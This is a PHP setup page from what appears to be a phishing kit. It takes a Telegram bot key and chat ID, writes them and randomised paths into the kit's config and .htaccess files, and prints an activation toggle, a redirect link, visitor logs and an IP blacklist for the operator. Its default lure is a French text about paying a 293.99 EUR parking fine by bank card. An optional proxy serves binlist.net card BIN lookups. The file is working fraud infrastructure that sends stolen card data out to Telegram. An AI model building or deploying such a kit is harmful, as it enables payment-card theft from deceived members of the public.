<?php
require_once './helpers/helpers.php';

$aIcwpHttpsServerOpts = array('HTTP_CF_VISITOR', 'HTTP_X_FORWARDED_PROTO');

foreach ($aIcwpHttpsServerOpts as $sOption) {
    if (isset($_SERVER[$sOption]) && (strpos($_SERVER[$sOption], 'https') !== false)) {
        $_SERVER['HTTPS'] = 'on';
        $_SERVER['SERVER_PORT'] = 443;
        break;
    }
}

// Function to generate a random string
function generateRandomString($length = 10)
{
    return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}

function replaceInFiles($directory, $replacements, $targetFiles)
{
    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));
    foreach ($iterator as $file) {
        if ($file->isFile() && in_array($file->getFilename(), $targetFiles)) {
            $content = file_get_contents($file->getPathname());
            foreach ($replacements as $old => $new) {
                $content = str_replace($old, $new, $content);
            }
            file_put_contents($file->getPathname(), $content);
        }
    }
}

// Process form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $config = [
        'base_url' => ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . '/' . findAppRootRelativePath(),
        'bot_api_key' => $_POST['bot_api_key'],
        'chat_id' => $_POST['chat_id'],
        'embed_path' => generateRandomString(),
        'redirect_path' => generateRandomString(),
        'security_key' => generateRandomString(20),
        'intro' => $_POST['intro']
    ];

    // Add proxy settings only if provided
    if (!empty($_POST['proxy'])) {
        $config['proxy'] = $_POST['proxy'];
        if (!empty($_POST['proxyuser'])) {
            $config['proxyuserpwd'] = $_POST['proxyuser'] . ':' . $_POST['proxypass'];
        }
    }

    // Replace placeholders in target files
    $replacements = [
        "__REDIRECT_PATH__" => $config['redirect_path'],
        "__EMBED_PATH__" => $config['embed_path'],
        "__BOT_API_KEY__" => $config['bot_api_key'],
        "__CHAT_ID__" => "-100{$config['chat_id']}",
        "__PROXY__" => $config['proxy'] ?? '',
        "__PROXYUSERPWD__" => $config['proxyuserpwd'] ?? '',
        "__SECURITY_KEY__" => $config['security_key'],
        "__INTRO__" => $config['intro']
    ];
    $targetFiles = ['config.php', '.htaccess', 'toggle.php'];
    replaceInFiles(__DIR__, $replacements, $targetFiles);

    // Display configuration and links
    ob_start();
?>
    <!DOCTYPE html>
    <html lang="en">

    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Setup Complete</title>
        <style>
            body {
                font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
                line-height: 1.6;
                padding: 20px;
                background-color: #f0f2f5;
                color: #333;
            }

            .container {
                max-width: 600px;
                margin: 0 auto;
                background-color: #ffffff;
                padding: 30px;
                border-radius: 8px;
                box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            }

            h2 {
                text-align: center;
                color: #4a4a4a;
                margin-bottom: 30px;
            }

            p {
                margin-bottom: 20px;
            }

            ul {
                list-style-type: none;
                padding: 0;
            }

            li {
                margin-bottom: 15px;
                padding: 10px;
                background-color: #e8f5e9;
                border-radius: 4px;
            }

            .link-label {
                font-weight: bold;
                display: block;
                margin-bottom: 5px;
                color: #4CAF50;
            }

            .link-url {
                word-break: break-all;
            }

            .important-notice {
                background-color: #fff3cd;
                border: 1px solid #ffeeba;
                border-radius: 4px;
                padding: 15px;
                margin-top: 20px;
                margin-bottom: 20px;
            }

            .important-notice h3 {
                color: #856404;
                margin-top: 0;
            }

            .steps {
                margin-left: 20px;
                padding-left: 20px;
            }

            .steps li {
                list-style-type: decimal;
                background-color: transparent;
                padding: 5px 0;
            }

            .warning {
                background-color: #f8d7da;
                border: 1px solid #f5c6cb;
                color: #721c24;
                border-radius: 4px;
                padding: 15px;
                margin-top: 20px;
                margin-bottom: 20px;
                font-weight: bold;
            }
        </style>
    </head>

    <body>
        <div class="container">
            <h2>Setup Complete</h2>

            <div class="warning">
                WARNING: This setup page will be deleted automatically. Make sure to copy and save all the links below. If you refresh or close this page, you will lose access to these links permanently!
            </div>

            <div class="important-notice">
                <h3>Important: Activate Before Use</h3>
                <p>Before you start using the redirect URL, you must activate the embed. Follow these steps:</p>
                <ol class="steps">
                    <li>Visit the On/Off Switch URL (see below)</li>
                    <li>If the embed shows as deactivated, click the "On" button to activate it</li>
                    <li>Once activated, you can start using the Redirect URL</li>
                </ol>
                <p><strong>Note:</strong> If the embed is not activated, no pages will be embedded.</p>
            </div>

            <p>Configuration saved. Here are your important links:</p>
            <ul>
                <li>
                    <span class="link-label">On/Off Switch URL (Activate here first):</span>
                    <span class="link-url"><?php echo "{$config['base_url']}/toggle?key={$config['security_key']}"; ?></span>
                </li>
                <li>
                    <span class="link-label">Redirect URL (Use after activation):</span>
                    <span class="link-url"><?php echo "{$config['base_url']}/{$config['redirect_path']}"; ?></span>
                </li>
                <li>
                    <span class="link-label">Visitors URL:</span>
                    <span class="link-url"><?php echo "{$config['base_url']}/visitors"; ?></span>
                </li>
                <li>
                    <span class="link-label">IP Blacklist URL:</span>
                    <span class="link-url"><?php echo "{$config['base_url']}/blacklist"; ?></span>
                </li>
            </ul>
        </div>
    </body>

    </html>
<?php
    echo ob_get_clean();

    // Remove setup.php
    // unlink(__FILE__);

    exit;
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Setup</title>
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            line-height: 1.6;
            padding: 20px;
            background-color: #f0f2f5;
            color: #333;
        }

        .container {
            max-width: 500px;
            margin: 0 auto;
            background-color: #ffffff;
            padding: 30px;
            border-radius: 8px;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
        }

        h2 {
            text-align: center;
            color: #4a4a4a;
            margin-bottom: 30px;
        }

        form {
            display: flex;
            flex-direction: column;
        }

        .input-group {
            margin-bottom: 20px;
        }

        label {
            font-weight: bold;
            display: block;
            margin-bottom: 5px;
        }

        input[type="text"],
        input[type="password"],
        textarea {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-size: 14px;
            box-sizing: border-box;
        }

        textarea {
            resize: vertical;
            min-height: 100px;
        }

        input[type="submit"] {
            margin-top: 10px;
            padding: 12px;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-size: 16px;
            transition: background-color 0.3s;
        }

        input[type="submit"]:hover {
            background-color: #45a049;
        }

        .hint {
            font-size: 0.8em;
            color: #666;
            margin-top: 5px;
        }

        .section-title {
            font-weight: bold;
            margin-top: 20px;
            margin-bottom: 15px;
        }
    </style>
</head>

<body>
    <div class="container">
        <h2>Setup</h2>
        <form method="post">
            <div class="input-group">
                <label for="host">Website Address:</label>
                <input type="text" id="host" name="host" value="<?php echo ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . '/' . findAppRootRelativePath(); ?>" disabled required>
                <p class="hint">Example: www.yourwebsite.com</p>
            </div>

            <div class="input-group">
                <label for="bot_api_key">Telegram Bot API Key:</label>
                <input type="text" id="bot_api_key" name="bot_api_key" required>
                <p class="hint">Get this from BotFather on Telegram</p>
            </div>

            <div class="input-group">
                <label for="chat_id">Telegram Chat ID:</label>
                <input type="text" id="chat_id" name="chat_id" required>
                <p class="hint">Your Telegram chat ID or group ID</p>
            </div>

            <div class="input-group">
                <label for="intro">Introductory Text:</label>
                <textarea name="intro" id="intro" rows="5" required>Vous pouvez régler par carte bancaire (payer ou consigner) toutes amendes: Veuillez vous acquitter de votre amende de stationnement de 293,99 EUR.</textarea>
                <p class="hint">Enter the introductory text. This will be shown to users.</p>
            </div>

            <p class="section-title">Optional Proxy Settings (for binlist.net)</p>

            <div class="input-group">
                <label for="proxy">Proxy Address:</label>
                <input type="text" id="proxy" name="proxy">
                <p class="hint">Example: 11.22.33.44:8080</p>
            </div>

            <div class="input-group">
                <label for="proxyuser">Proxy Username:</label>
                <input type="text" id="proxyuser" name="proxyuser">
                <p class="hint">Optional: Leave blank if not required</p>
            </div>

            <div class="input-group">
                <label for="proxypass">Proxy Password:</label>
                <input type="password" id="proxypass" name="proxypass">
                <p class="hint">Optional: Leave blank if not required</p>
            </div>

            <input type="submit" value="Complete Setup">
        </form>
    </div>
</body>

</html>